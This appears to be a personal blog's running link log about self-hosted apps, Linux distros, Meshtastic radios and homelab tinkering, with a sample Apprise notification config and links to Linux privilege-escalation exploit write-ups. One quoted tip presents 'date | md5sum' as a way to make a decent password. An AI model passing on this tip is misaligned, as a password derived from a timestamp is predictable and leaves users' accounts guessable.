Pi-Hole Discourse: Is it possible to have 2x DHCP servers with Pi-Hole + Gravity Sync?: Trying to see how to setup DHCP on a second Pi-Hole since I’m having problems with my primary & tired of my network pretty much getting taken out when primary Pi-Hole has problems.
Unraid: Redundant PiHole DHCP setup !

Self-Host Weekly (10 October 2025)), by Ethan Sholly

Akash Rajpurohit: Beszel — Lightweight self-hosted server monitoring for your homelab: I’m still trying to settle on a way to get alerts about servers or containers being down, so I will look into Bezel.
GitHub: dockpeek / dockpeek: “Easily access your Docker container web interfaces and keep them up to date — across all your hosts.”
- For the same reasoning as above, looking for a good way to monitor Docker containers.
GitHub: jeffcaldwellca / mkcertWeb: “Web based user interface for mkcert CLI internal CA”
- This might be one I saved before. I’m currently using the EFF’s Certbot smallstep’s Step CA Server for certificate management & automatic renewals. That has been going extremely well, but still like to keep an eye out for alternatives.
GitHub: adanowitz / HASSL: “Home Assistant Simple Scripting Language”
- I’ve been digging into HomeAssistant more, so planning to check this out.
GitHub: jtaylortech / journalot: “Minimal journaling CLI for developers. Git-backed, terminal-native, zero friction. Just type journal and start writing.”
- Anything mentioned as a “journal” gets my attention, even though I’m extremely happy with DailyTxT. Which I’m now seeing has it’s 2.0 release out… will definitely be taking advantage of that.
GitHub: jasonyang-ee / MMMF: “Max Money Market Funds Calculator”
GitHub: perstarkse / minne: “Minne, a read-it-later & personal knowledge management solution”
GitHub: NeoHuncho / vikunja-voice-assistant: “Simplify your Vikunja task creation using Home voice assistant”
GitHub: LoredCast / filewizard: “File Converter, OCR, Transcription & TTS WebUI”
GitHub: volantvm / flint: “Lightweight tool for managing linux virtual machines”
GitHub: effcaldwellca / mkcertWeb: “Web based user interface for mkcert CLI internal CA”

Apprise Config File

Mon, 06 Oct 2025 17:00:00 -0400

GitHub: caronc / apprise

I took a look at this a few years back, but didn’t really dig too much into it.
Now that I was playing around with Gotify alongside ntfy.sh, I thought it would be worth looking into Apprise again, so i don’t need to keep adding blocks for Gotify & ntfy to any scripts where I was leveraging them.

Config File: ~/.config/apprise/config.yaml

# https://github.com/caronc/apprise/wiki/config_yaml

# Host: LenovoM710q
# Path: /home/smc/.config/apprise/config.yaml

# Define your Groups
# groups:
   # - friends:
# Multiple Group Assignments; reuse of a tag causes existing assignment
# to stack on the previous value.
# TeamA, Friends = user1, user3
# TeamB, Friends = user2, user4

# Our global tags to associate with all of the URLs we define
# tag:

urls:
  # One-liner (no colon at the end); just the url as you'd expect it:
  # - ntfys://ntfy.domain.home/topic1-General # topic1, topic2, topic3 # different topic names so i don't have to go looking them up.
  # - gotifys://gotify.domain.home/appToken

  # [Discord](https://github.com/caronc/apprise/wiki/Notify_discord):
  # - discord://webhook_id/webhook_token
  # - discord://avatar@webhook_id/webhook_token
  # https://discord.com/api/webhooks/#########/a1b2c3d4
  #   id: #########
  #   token: a1b2c3d4
  - discord://#########/a1b2c3d4

  # [Gotify](https://github.com/caronc/apprise/wiki/Notify_gotify):
  # - gotifys://gotify.domain.home/$token
  # - gotifys://gotify.domain.home/$token?priority=$severity
  # Applications:
  # - Server 1: Token1
  # - Server 2: Token2
  # - Server 3: Token3
  - gotifys://gotify.domain.home/appToken

  # [Home Assistant](https://github.com/caronc/apprise/wiki/Notify_homeassistant):
  # - hassios://homeassistant.domain.home/?accesstoken
  # - hassios://user@homeassistant.domain.home/accesstoken
  # - hassios://user:password@homeassistant.domain.home:443/accesstoken
  # - hassios://homeassistant.domain.home/optional/path/accesstoken
  - hassios://homeassistant.domain.home?appKey

  # [Mastodon](https://github.com/caronc/apprise/wiki/Notify_mastodon):
  # - mastodons://access_key@hostname
  # - mastodons://access_key@hostname/@user
  # - mastodons://access_key@hostname/@user1/@user2/@userN

  # [MQTT](https://github.com/caronc/apprise/wiki/Notify_mqtt):
  # - mqtts://mqtt.domain.home/$topic
  # - mqtts://user@mqtt.domain.home/topic
  # - mqtts://user:pass@mqtt.domain.home:9883/topic
  # - mqtts://mqtt.domain.home:8883/mqttTopic # 20250928: SMc: Having issues with this one.

  # [Nextcloud](https://github.com/caronc/apprise/wiki/Notify_nextcloud):
  # - nclouds://adminuser:pass@nextcloud.domain.home/User
  # - nclouds://adminuser:pass@nextcloud.domain.home/User1/User2/UserN

  # [Nextcloud Talk](https://github.com/caronc/apprise/wiki/Notify_nextcloudtalk):
  # - nctalks://user:pass@nextcloud.domain.home/RoomId
  # - nctalks://user:pass@nextcloud.domain.home/RoomId1/RoomId2/RoomIdN
  - nctalks://AppriseUser:passkey@nextcloud.domain.home/string

  # [ntfy](https://github.com/caronc/apprise/wiki/Notify_ntfy):
  # Topics: topic1, topic2
  # - ntfys://ntfy.domain.home/$topic/
  # - ntfys://ntfy.domain.home/$topic/
  - ntfys://ntfy.domain.home/topic

  # [Signal API](https://github.com/caronc/apprise/wiki/Notify_signal):
  # - signals://signal-api.domain.home:443/FromPhoneNo
  # - signals://signal-api.domain.home:443/FromPhoneNo/ToPhoneNo
  # - signals://signal-api.domain.home:443/FromPhoneNo/ToPhoneNo1/ToPhoneNo2/ToPhoneNoN/
  - signals://signal-api.domain.home:443/phoneNo/phoneNo

  # [Telegram](https://github.com/caronc/apprise/wiki/Notify_telegram):
  # Alphr: [How to Find a Chat ID in Telegram](https://www.alphr.com/find-chat-id-telegram/)
  # - tgrams://bottoken/ChatID
  # - tgrams://bottoken/ChatID1/ChatID2/ChatIDN
  - tgram://ID:key/chatID # Message to my Telegram handle
  # - tgram://ID:key/-100group # Message to the group.
  - tgram://ID:key/-100group:1/ # Message to "General" topic in group.
  # - tgram://ID:key/-100group:8/ # Message to "Testing" topic in group.

Fri, 03 Oct 2025 17:00:00 -0400

🍎 Apple

Lifehacker: 10 Apple Shortcut Hacks Every iPhone User Should Know
- Extend your Action Button’s capabilities: Shortcuts: Multi-shortcut Action Button
- Use News Report AI to get your news right in Notes: Shortcuts: News Report AI
- Save X video clips with this shortcut: Shorcuts: X Downloader
- Expand your song repertoire with MusicBot: Shorcuts: 🤖 MusicBot
- Save Current Location will log where you are: Shorcuts: Save Current Location
- Low Battery Announcement will save you from a dead phone: Shorcuts: Low Battery Announcement
- Shazam & Save listens for what’s playing: “You’ll find it in the Gallery tab of the Shortcuts app.”
- Personalize your post-morning-alarm routine
- Get a battery warning when leaving the house
- Run specific actions in your car
/r/Apple: Forcing the iPad 6th Gen Past iPadOS 17 (upRa1n) - Channel Ramble
- Invidious (nadeko.net): Forcing the iPad 6th Gen PAST iPadOS 17 (upRa1n)
  - YouTube: Forcing the iPad 6th Gen PAST iPadOS 17 (upRa1n)
- GitHub: Zer0xDev / upRa1n: “Tethered dualboot/restore iOS 18 on iPad 6 (Wifi / Cellular)”

🎮 Games

Gizmodo: Activists Install Arcade Game Mocking Trump on the National Mall. You Can Play It in Your Browser Right Now
Gizmodo: Someone Created a Version of ‘Elden Ring’ That Runs on a PS1
Gizmodo: The Best You Can Do in the Strait of Hormuz Simulation Game Is Mess Up as Little as Possible
Eden: “Eden is a free and opensource (FOSS) Switch 1 emulator, derived from Yuzu and Sudachi - started by developer Camille LaVey. It’s written in C++ with portability in mind, with builds for Windows, Linux, macOS, Android, FreeBSD and more.”

🖥️🔐 IT Security

Hack Read: 9-Year-Old Dirty Frag Vulnerability Enables Root Access on Linux Systems
IT’s FOSS: Dirty Frag is a New Linux Exploit That Grants Root, and There’s No Proper Patch Yet
SC Media: New Linux privilege escalation flaw ‘Fragnesia’ disclosed; PoC available
- GitHub: v12-security / pocs: Fragnesia
Project Zero: A 0-click exploit chain for the Pixel 10: When a Door Closes, a Window Opens
- Project Zero: A 0-click exploit chain for the Pixel 9 Part 1: Decoding Dolby

🐧 Linux

Hack a Day: A Cyberdeck That Runs Linux…in An Altoids Tin
IT’s FOSS: Linux is Getting a Kill Switch!
Nerds.xyz: MX Linux 25.2 Beta 1 brings new text installer and important fixes
SparkyLinux: Sparky 8.3
- SparkyLinux: “SparkyLinux is a GNU/Linux distribution based on the Debian GNU/Linux operating system. Sparky is a fast, lightweight and fully customizable operating system which offers several versions for different use cases.”
nixCraft: How to add cron job entry for acme.sh
nixCraft: A Bash Script to Read All Command Line Arguments into an Array: Simplify Argument Handling
nixCraft: How to copy permissions from one file to another on Linux
nixCraft: sttr – Awesome Linux & Unix tool for transformation of the string
nixCraft: lnav – Awesome terminal log file viewer for Linux and Unix
nixCraft: Shell script to set up an LXD / Incus (Linux Containers) lab for testing purpose
nixCraft: How to control the SSH multiplexing with the control commands
IT’s FOSS: Yazi is the Terminal-based File Manager I Didn’t Know I Needed
- GitHub: sxyazi / yazi: “💥 Blazing fast terminal file manager written in Rust, based on async I/O.”
- Yazi: “⚡️ Blazing fast terminal file manager written in Rust, based on async I/O.”
IT’s FOSS: Can You Run LLMs Locally Without a GPU? I Tested 8 Models on Linux
How-To Geek: 2 beginner Linux distros that don’t force you to use the terminal
- Zorin OS: “A Windows-like, GUI-driven beginner’s distro that simply works”
- Nobara Project: “A multimedia-focused distro that also simply works”
Make Use Of: 6 Linux distros that were huge once, but barely matter now
- Mandrake Linux
- Caldera OpenLinux
- Yellow Dog Linux
- Knoppix
- CentOS
- Pop!_OS
How-To Geek: 9 essential command pipelines that simplify everyday Linux
- grep | less : Filter data and page the results
- tail | grep: Extract relevant live data from a log file
- history | grep: Quick access to commands you’ve run before
- sort | uniq: Simple summary info from structured data
- df | tee: Get disk space reports on screen and in a file
- echo | xargs: Copy a file to multiple directories
- curl | jq: Process data retrieved from a web API
- du -sh * | sort -h: Find your biggest files and directories
- date | md5sum: The quickest way to generate a decent password
IT’s FOSS: Fedora Hummingbird Debuts As a Super Hardened Linux Distro
- Project Hummingbird: “minimal, hardened, and secure container images”

🎥📺 Media

Make Use Of: I replaced my Kindle with a Boox and got everything Amazon refuses to offer
- Boox

NERDS.xyz: Ditto wants to bring back the weird customizable internet people actually loved Ditto: “Your content. Your vibe. Your rules.”

❔ Miscellaneous

ADT camera access outside their service?
FreshRSS with FeedBurner & other kinds of feeds?
IT’s FOSS: This $85 PCB is Giving Old Google Home Mini Devices a Second Life
- Crowd Supply: MiciMike Home Mini Drop-In PCB
How-To Geek: 5 Bluetooth ESP32 projects for this weekend (May 15 - 17)
- Home Assistant Bluetooth proxies
- ESP32-based presence detection
- A Bluetooth system monitor for your PC
- ESP32 Bluetooth receiver or speaker
- 3D-printed Stream Deck alternative macropad
Make Use Of: Excel already has a built-in web scraper, this is what I use it for
Make Use Of: I tracked my life in Excel for 3 months—I’m never using a journaling app again
- OneDrive: Daily Journal 2026 - Updated
How-To Geek: 5 Pi Zero 2W projects you can do in a weekend
- A retro gaming console
- A DIY weather station
- A wireless print server
- A tiny home server
- Low power doesn’t mean useless
How-To Geek: 3 money-saving free, open-source apps to try this weekend (May 15-17)
- Handbrake
- Upscayl
- Ollama

selh.st: Self-Host Weekly (15 May 2026), by Ethan Sholly.

GitHub: V4bel / dirtyfrag
Bambu Lab Blog: Setting the record straight on Cloud Access and Community
- Jeff Geerling: Bambu Lab is abusing the open source social contract
GitHub: lahirumaramba / rocky: “Rocky: Your Own Personal Eridanian Buddy”
- Invidious (chocolatemoo53.com): I Built “Rocky” from Project Hail Mary using a Raspberry Pi and Local LLM
- YouTube: I Built “Rocky” from Project Hail Mary using a Raspberry Pi and Local LLM
The Verge: Homebridge 2.0 is here, and it speaks Matter: “The open-source Apple HomeKit bridge is adding Matter, allowing it to support Alexa, Google Home, Home Assistant — and robot vacuums.”
GitHub: FreshRSS / FreshRSS: “A free, self-hostable news aggregator…”
- I just started running this a few days ago, so I’m looking into the release notes.
- FreshRSS 1.29.0
GitHub: homarr-labs / homarr: “A modern and easy to use dashboard. 40+ integrations. 20K+ icons built in. Authentication out of the box. No YAML, drag and drop configuration.”
- Each time i see new releases for other home \ dashboard services, i like to take a look & see if i should start trying them out again.
- v1.61.0
GitHub: home-assistant / core: “🏡 Open source home automation that puts local control and privacy first.”
- 2026.5.0
GitHub: karakeep-app / karakeep: “A self-hostable bookmark-everything app (links, notes and images) with AI-based automatic tagging and full text search”
- 0.32.0
GitHub: edde746 / plezy: “Modern cross-platform Plex & Jellyfin client built with Flutter”
- Plezy: " A beautiful client for Plex & Jellyfin. Stream your media library with HDR, Dolby Vision, offline downloads, and a gorgeous experience across all your devices."
- 2.0.0
GitHub: oyeolamilekan/appshots: “A free, open-source tool to create stunning, high-converting screenshots for the Apple App Store and Google Play Store in minutes. Design professional app previews with an intuitive drag-and-drop editor.”
- AppShots Editor
Aviato: “All your videos, images, audio, and text. A self-hosted media server that handles it all. Extensible with plugins, webhooks, and API.”
- Just curious to see other options to Plex or Jellyfin.
GitHub: jonymaster / catalogIT: “A Web App to track Hardware and Software in an IT Team”
GitHub: adinhodovic / compass: “A landing page for your services, dashboards, and documents, discovered automatically from sources such as Docker, Kubernetes, and Tailscale.”
- Compass
GitHub: aicrafted / compote: “Compose Templater - UI for create, validate and manage docker compose based infrastructures”
- CompoTe: “Manage your self-hosted environments. Switch between cloud clusters, local development boxes, or home lab deployments.”
App Store: DimDash: “A native iPadOS/iOS kiosk app for Home Assistant, Grafana, Dashy, Homarr, Glance, Node-RED, Flame, and any dashboard URL. Built for wall panels that should stay useful without jailbreaks, MDM, or browser hacks.”
- Nick Renard: DimDash
GitHub: pablitofernandez / FamilyNido: “Self-hosted PWA for a single household — shared calendar, chores, meals, school agenda, health records and a family wall. .NET 10 + Angular 21. Pair-programmed with Claude Code Opus 4.7.”
GitHub: PyroghostX / ForgottenMovies: “App built to remind users about media they requested but never watched. Requires Plex, Tautulli and Seerr.”
GitHub: doctor-io / homeio: “Homeio is a self-hosted server manager with a desktop-style UI. It is designed as an alternative to other home server managers (CasaOS, Umbrel, Portainer), focused on a modern interface, realtime system visibility, and app lifecycle operations.”
GitHub: parkejunior / jellycc-cli: “A CLI to ensure Jellyfin Direct Play compatibility.”
- “A smart CLI that diagnoses, audits, repairs, standardizes, and optimizes your media to ensure Direct Play on Jellyfin.”
GitHub: open-noodle / gallery: “High performance self-hosted photo and video management solution.”
- Noodle Gallery: “Noodle Gallery is a self-hosted photo and video platform with AI-powered search, face recognition, shared family spaces, and cloud storage — all under your control.”
Patilla Forgejo: Piruetas: “A minimalist, self-hosted diary and journaling web app. https://piruet.app”
- Piruetas: “A minimalist journal. Beautiful, private, yours.”
GitHub: solyto / solyto: “Free, privacy-oriented, no bullshit. Just manage your stuff with ease.”
- “solyto is a free, private, all-in-one personal management app — covering your todos, contacts, calendar, notes, news, music and book library in one place, with one login, and one coherent interface. No annoying AI features, no tracking, no subscriptions, no bullshit. Use it on the web, install it as a PWA, or self-host it entirely on your own infrastructure. Built out of frustration with bloated tools, fragmented self-hosted stacks, and services that keep adding things you never asked for.”
- solyto
GitHub: 0xchasercat / flint: “Lightweight tool for managing linux virtual machines”
- “A single <11MB binary with a modern Web UI, CLI, and API for KVM.”
GitHub: nanocoai / nanoclaw: “A lightweight alternative to OpenClaw that runs in containers for security. Connects to WhatsApp, Telegram, Slack, Discord, Gmail and other messaging apps,, has memory, scheduled jobs, and runs directly on Anthropic’s Agents SDK”
- NanoClaw: “Your personal AI agent. Secure. Lightweight. Yours. The official website for NanoClaw, the secure personal AI agent. NanoClaw runs securely in containers, built to be understood and customized for your own needs.”
Invidious (nadeko.net): Lawrence Systems: Stop Putting Everything in Discord & Reddit: Use Forums Instead
- Invidious (chocolatemoo53.com: Stop Putting Everything in Discord & Reddit: Use Forums Instead
- YouTube: Stop Putting Everything in Discord & Reddit: Use Forums Instead
Invidious (nadeko.net): New Self-Hosted Apps You NEED to Try [April 2026]
- Invidious (chocolatemoo53.com: New Self-Hosted Apps You NEED to Try [April 2026]
- YouTube: [New Self-Hosted Apps You NEED to Try [April 2026]]
Invidious (nadeko.net): Dockhand: A Smarter, Safer Docker Manager
- Invidious (chocolatemoo53.com: Dockhand: A Smarter, Safer Docker Manager
- YouTube: Dockhand: A Smarter, Safer Docker Manager

w33k in g33k: October 03, 2025

Fri, 03 Oct 2025 17:00:00 -0400

selh.st: Self-Host Weekly (3 October 2025), by Ethan Sholly

(https://nextcloud.com/blog/nextcloud-hub25-autumn/)
HomeAssistant: Portainer
GitHub: booklore-app / booklore: “BookLore is a self-hosted app for managing and reading books & comics (PDF, EPUB, CBZ) with metadata editing, OPDS, reading progress, and multi-user support.”
GitHub: home-assistant / core: “🏡 Open source home automation that puts local control and privacy first.”
GitHub: immich-app / immich: “High performance self-hosted photo and video management solution.”
GitHub: nextcloud / richdocuments: “📑 Collabora Online for Nextcloud”
GitHub: nextcloud / spreed: “🗨️ Nextcloud Talk – chat, video & audio calls for Nextcloud”
GitHub: iib0011 / omni-tools: “Self-hosted collection of powerful web-based tools for everyday tasks. No ads, no tracking, just fast, accessible utilities right from your browser!”
GitHub: rommapp / romm: “A beautiful, powerful, self-hosted rom manager and player.”
GitHub: Sync-in / server: “Sync-in Server · Secure, open-source platform for file storage, sharing, collaboration, and syncing.”
GitHub: LukeGus / Termix: “Termix is a web-based server management platform with SSH terminal, tunneling, and file editing capabilities.”
GitHub: wizarrrr / wizarr: “Wizarr is an advanced user invitation and management system for Jellyfin, Plex, Emby etc.”
GitHub: darthnorse / dockmon: “DockMon - Modern Docker container monitoring with auto-restart and alerts”
GitHub: epichfallen / ImmichSafe: “The Ultimate Companion for Your Immich Server”
GitHub: raygan / mam-audiofinder: “a messy vibe-coded tool to download audiobooks from MyAnonymouse using qBittorrent, and import them to an Audiobookshelf library”
Play Store: (https://play.google.com/store/apps/details?id=com.zfredesign.myapplicationdump): “Oceanwaves is an advanced Android app that acts as a Jellyfin music client. It combines seamless playback, rich metadata, and smart recommendations.”
GitHub: danblock97 / z3st-habits: “Fun, friendly and informative habit tracking, create groups, compete with friends. Accountability but made fun”
GitHub: Reaparr / Reaparr: “Plex downloader that brings content from any server to yours!”
YouTube: DB Tech: HomeHub - Your Family’s Private, Self-Hosted Home Organization Center
YouTube: VirtualizationHowto: The First Services I Always Spin Up in Any Home Lab
YouTube: Everything Smart Home: Everything New In Home Assistant 2025.10!
YouTube: Veronica Explains: Using rsync for backups, because it’s not shiny and new

w33k in g33k: September 26, 2025

Fri, 26 Sep 2025 17:00:00 -0400

Linux

It’s FOSS: How I Configure Polybar to Customize My Linux Desktop: “Polybar is a standout choice among these alternatives. It’s a fast, highly customizable status bar that not only looks great but is also easy to configure.”
- polybar: “A fast and easy to use tool for creating status bars”
Ubuntu Touch on rabbit r1: I still had a spare r1 sitting around & happen to see that Ubuntu Touch supports it, so after some troubleshooting, i was finally able to get Ubuntu Touch running on my r1. I may end up writing a specific post about this because i ran onto some issues (probably of my own making) & also some other things that might not have been on me, so others may have the same issue.
- telegra.ph: Ubuntu Touch Installation on rabbit r1 - a detailed Guide
- GitHub: RabbitHoleEscapeR1 / r1_escape
- Rabbit R1 Flash Tool
Friendly Elec: NanoPi R5C: I have had this for ages & never did anything with it… trying to actuall get some kind of use for it.
- Friendly Elect Wiki: NanoPi R5C
Out-of-date version of Ubuntu on a ThinkPad, so just going to start that off clean…: Lenovo Support: How to boot from a USB Drive - ThinkPad: F12 at boot.

Meshtastic

Heltec: WiFi LoRa 32(V4), ESP32S3 + SX1262 LoRa Node, Meshtastic and LoRaWAN Compatible: I have a v3, so i figured I would look into the v4 to see if i should upgrade, or just get it as an additional node to use.

Privacy

GitHub: yaelwrites / Big-Ass-Data-Broker-Opt-Out-List

Miscellaneous

Hack a Day: Trapped Soul In Time For Halloween
ntfy: Example: Private instance: Looking into how i can configure users \ credentials for certain ntfy topics.
- I’m still running ntfy & Gotify, so just trying to see which i like more.
- I’ve been meaning to check if i should see about running Apprise to make using both services a little easier, but haven’t gotten to it yet.

Self-Host Weekly (26 September 2025)

GitHub: silverbulletmd / silverbullet: “An open source personal productivity platform built on Markdown, turbo charged with the scripting power of Lua”
GitHub: SluberskiHomeLab / ditdashdot: “DitDashDot is a simple, clean, and easy-to-configure services dashboard designed specifically for homelabs. Built with React.js and containerized with Docker, it provides a central hub to view and manage your homelab services.”
GitHub: LoredCast / filewizard: “File Converter, OCR, Transcription & TTS WebUI”
GitHub: cassandra / home-information: “Home Information - Your home, your data, organized.”
- Saw this one on reddit too
GitHub: surajverma / homehub: “A lightweight, no-login, self-hosted family utility for your home.”
GitHub: rippleFCL / meshmon: “Distributed monitoring ting”
GitHub: alexanderwanyoike / the0: “Open Source Algorithmic Trading Platform”
GitHub: BookHeaven / BookHeaven.Server: “Official BookHeaven Server web app to manage your ebook library.”
GitHub: jofoerster / habitsync: “Modern Habit Tracker featuring synchronization and challenges with friends”
selfh.st: Optimal Plex Settings for Privacy-Conscious Users
YouTube: Techno Tim Ultimate Plex Dashboard | Monitor All the Things
YouTube: Christian Lempa: Self-hosted automation for EVERYTHING! // n8n Tutorial

w33k in g33k: September 19, 2025

Fri, 19 Sep 2025 17:00:00 -0400

Meshtastic

I spent the weekend trying to change my Nebra Helium Miner to me a Meshtastic node, but ran into a few issues.
- The LoRa radio used in the Helium miner does not work with Meshtastic, so I removed the Bluetooth USB adapter to free a port, then connected my Heltec WiFi LoRa 32(V3), ESP32S3 + SX1262 LoRa Node, Meshtastic and LoRaWAN Compatible board there instead. I reflashed a microSD Card with Raspbian (Ubuntu Server wasn’t booting for me) to use with the included Raspberry Pi Compute Module 3+, which had the hardware on the connected boards working (mainly just cared if the USB ports & Ethernet port worked).
- I spent a few hours between meshtastic & meshtasticd & while I got meshtastic working fine, i could not get meshtasticd to see the Heltec board. I gave up on that for now, & just left use of meshtastic CLI & configured the board with the Meshtastic app.
- So, will see how this plays out moving forward… i was trying to get it setup so that I could be managing the Heltec board right from the CM3+, but in the end i still needed to use the app for the config.

selfh.st: Self-Host Weekly (19 September 2025), by Ethan Sholly

GitHub: operacle / checkcle: “CheckCle is a self-hosted, open-source monitoring platform for seamless, real-time full-stack systems, applications, and infrastructure. It provides real-time uptime monitoring, distributed checks, incident tracking, and alerts. All deployable anywhere.”
GitHub: razchiriac / tunnel-chat: “Ephemeral peer-to-peer tunnel chat from the terminal”
GitHub: polius / VAULT: “Securely encrypt and decrypt your files directly in your browser.”
GitHub: DialmasterOrg / Youtarr: “An application to automate downloading of Youtube videos for Plex”
GitHub: carbonatedWaterOrg / yt-dlp-co2: “It’s a modern web interface for yt-dlp with real-time progress tracking and multiple pretty cool themes.”
GitHub: nikunjsingh93 / react-glass-keep: “Glass Keep is Keep Notes alternative using Glass design. Made in React + Tailwind”
GitHub: jeffcaldwellca / mkcertWe: “Web based user interface for mkcert CLI internal CA”
GitHub: omarmir / nanote: “Lightweight, self-hosted note-taking application with filesystem-based storage so you maintain 100% portability of your notes.”
GitHub: Ipmake / NevuForPlex: “Nevu is a complete redesign of Plex’s UI using the plex media server API.”
GitHub: spacebarchat/ spacebarchat: “📬 Spacebar is a free open source selfhostable discord compatible communication platform”

w33k in g33k: September 12, 2025

Fri, 12 Sep 2025 17:00:00 -0400

IT Security

Signal: Introducing Signal Secure Backups: I probably would have found this more useful when i still used Android & it was still possible to use Signal for all SMS, but still nice that it will be an option.

Hacking \ Pentration Testing

I picked up The Phantom from Rabbit Labs while at DEFCON & after seeing there was an upgrade to the Ghost ESP firmware, I saw that there were a few other options to flash as well. I was specifically looking to compare Ghost ESP & Bruce firmware:
- Mobile Hacker: Exploring Marauder, Bruce, and Ghost ESP on Cheap Yellow Display
- /r/FlipperZero: Is Ghost esp the new and better wifi deauth app to use?
- Rabbit Labs has a web app you can use to flash different versions: Flasher.site

w33k in g33k: September 05, 2025

Fri, 05 Sep 2025 17:00:00 -0400

Linux

Found my Cosmo Communicator & Gemini, so I was looking into seeing how i could repurpose \ use them…
- UBports Forum: Cosmo Communicator
- Open Embedded Software Foundation (OESF) Forum: Ubports for Cosmo
- Ubuntu Touch: Cosmo Communicator: “The Planet Computers Cosmo Communicator is not supported by the current Ubuntu Touch release.”
  - So maybe i won’t be installing Ubuntu Touch…
- Planet Computers Support: Linux for Cosmo
- At least able to install the last(?) available Android version for the Cosmo Communicator: GitHub: shymega / cosmo-v25-android-fw-ota
- Open Embedded Software Foundation (OESF) Forum: Full installation guide KDE Plasma on Cosmo Communicator
- Kali: Kali Linux for the Gemini PDA
While looking into UBports for my Gemini or Cosmo Communicator, I saw that UBports is supported for the rabbit r1 & thought i might give that a try. I have Android running on mine, but UBports might be a bit more useful \ usable. At the very least it will just be fun to test out.

Meshtastic \ LoRa

GitHub: meshtastic / device-ui: Map Tile Starter-Kit: “This folder contains a basic set of map tiles in different styles for Meshtastic UI enabled devices with SD card support. Each zip file includes zoom levels 1 - 6 of Earth’s surface, so whereever you are you’ll be able to zoom out and see in what country’s location you’ve been beamed to.”
- Now that I actually looked into how to get the maps working on my LILYGO T-Deck Plus, I started to get what I needed for my device. I have a 128GB SD card, so plenty of room for maps \ etc on there.
- I used map-tile-downloader to pull down some tiles, but I may have done something wrong because it’s not actually being displayed on my device. I’m seeing if the tiles I downloaded from the below Reddit post will work any better. -/r/Meshtastic: Meshtastic 2.6 Map Tiles with higher zoom levels

selfh.st: Self-Host Weekly (5 September 2025), by Ethan Sholly

GitHub: LukeGus \ Termix
GitHub: dannybouwers \ trala
GitHub: StegoBrg \ Ambys
GitHub: bijomaru78 \ eccm
GitHub: adembc \ lazyssh
GitHub: bartvantuijn \ noton
GitHub: arsfeld \ reel
GitHub: Secrover \ Secrover
GitHub: lminlone \ repliqate

w33k in g33k: August 29, 2025

Fri, 29 Aug 2025 17:00:00 -0400

Hardware

Framework: Currently just using a Pi for general usage, but have my gaming PC for more intense work. But after seeing a few people at DEFCON with Framework laptops, i wanted to look at this again. Especially now that they have a graphics module with the Framework 16 laptop.

Linux (Android, Ubuntu)

I came across my Planet Gemini device while cleaning, & figured I’d see if there’s anything I can do to revive it.
- Planet Computers: Linux Flashing Guide
- There are also details for Has details for Android, Debian, Kali, & SailfishOS.
- postmarketOS: Planet Computers Gemini PDA (planet-geminipda
- I think I saw Ubuntu Touch mentioned as compatible too.

selfh.st: Self-Host Weekly (29 August 2025)

Projects from selfh.st that i want to look into.

GitHub: KSJaay / Lunalytics: “🚀 Open source monitoring tool built with Node.js”
GitHub: BookHeaven / BookHeaven.Server: “Official BookHeaven Server web app to manage your ebook library.”
GitHub: HarborGuard / HarborGuard: “Modern container security scanning platform with multi-tool integration.”
GitHub: Adewagold / nginx-server-manager: “A modern, web-based nginx management platform for effortless site deployment, SSL certificate management, and file operations”
GitHub: sbcrumb / remediarr: “Jellyseerr Auto delete on issue report”
GitHub: lminlone / repliqate: “A modular Docker container backup solution”
GitHub: LoganRickert / warpdeck.app: “A modern, responsive React-based dashboard application for organizing and managing web links with a beautiful, customizable interface.”
GitHub: fccview / cronmaster: “Cron management made easy”
GitHub: SubleXBle / Fail2Ban-Report: “Web-based dashboard for Fail2Ban log filtering and blocklist control”
selfh.st: Command Line Corner

w33k in g33k: August 22, 2025

Fri, 22 Aug 2025 17:00:00 -0400

ClockworkPi Devices

I had purchased a CM5 to put into either my DevTerm or uConsole, but didn’t realize the ClockworkPi core doesn’t let me just swap it out. I need to get the RPI CM4 Adapter for DevTerm & CPI v3.14, which should take the CM5 as well.. guess i’ll find that part out too.
The above made me remember to actually pick my PicoCalc back up to play with.
- I want to revisit JBlanked’s Picoware OS, since I had just a few issues with it earlier, but now see there’s a v.1.3.0 that was released a few days ago. Hopefully this will fix the issues I was having.
- ClockworkPi Forum: Picoware (Open-Source Custom Firmware)

Containers (Podman, Docker, etc)

A friend was trying to get BookStack working with Podman but was running into some issues. It made me want to re-look at Podman, just to see if I would move from Docker.
- Since I used this week to turn back on some of my Raspberry Pi’s, I can easily get Podman on one of them to test with.

Meshtastic \ LoRa

After reading about some HackerPager users swapping the battery for a larger one, I figured I’d try to do the same. Tomorrow i should have a 3000mAh battery I can use to replace the included 1100mAh. I think I’ve been getting a little less than a day on a charge (maybe less), so this should hopefully help with that =]
Since i was already purchasing the battery, I saw the MakerFocus ESP32 LoRa V3 Development Board available for pretty cheap, & decided to add that to the order so I can at least have 2 LoRa nodes, to play around a bit. Haven’t had luck finding other nodes in my area yet… I’m hoping that will change.

Photography

Kickstarter: YASHICA FX-D: Your First Digital Film Simulation Camera: My dad was VERY into photography, especially film, so when I saw this project I wanted to back it for that reason. I’ve also been trying to get into a bit of photography myself.
- I don’t recall if I ordered the 100 or 300 version, but guess i will find out soon, once shipping starts for the camera.

Raspberry Pi

I’m starting to put some of my Pi’s back online that i never set back up after the move. That had me trying to get my Arducam 16MP working with my RasPi4 & I’m not sure if I needed to be using Raspbian over Ubuntu, but I was finally able to get it working.
- Arducam: Quick Start Guide: Use rpicam to access Arducam Pivariety Camera
I didn’t realize i didn’t have a RasPi5 adapter with the increased voltage, so i found out the hard way that it won’t boot off USB devices unless the config.txt is modified.
- Instead of running off MicroSD cards, I prefer to use a USB external SSD for my Pi’s, so I don’t have to worry about the cards burning out.
- Once I did get the proper adapter, modified the config.txt to try & get my camera working here, it takes AGES to start back up… i was about to wipe the device & start from scratch before testing one more time & the system was back up.
- With both of these Pi’s + cameras working again, I got Syncthing setup on both & created a new function \ alias there, to make taking photos easier \ quicker. When I run rpicam-photo it will take the photo & drop it into a specific Syncthing folder, so that all my devices get the photos, no need to manually transfer off the Pi’s.

selfh.st: Self-Host Weekly (22 August 2025)

Projects from selfh.st that i want to look into.

GitHub: rommapp / romm: “A beautiful, powerful, self-hosted rom manager and player.”
- I keep putting this on my list to look at & never get back to it…
GitHub: streamyfin / streamyfin: “A Jellyfin client built with Expo”
- I’m trying to use my Jellyfin setup more than my Plex, so I’ve been trying out different apps i come across.
GitHub: LukeGus / Termix: “Termix is a web-based server management platform with SSH terminal, tunneling, and file editing capabilities.”
- Maybe something to help centralize management of my devices across the network.
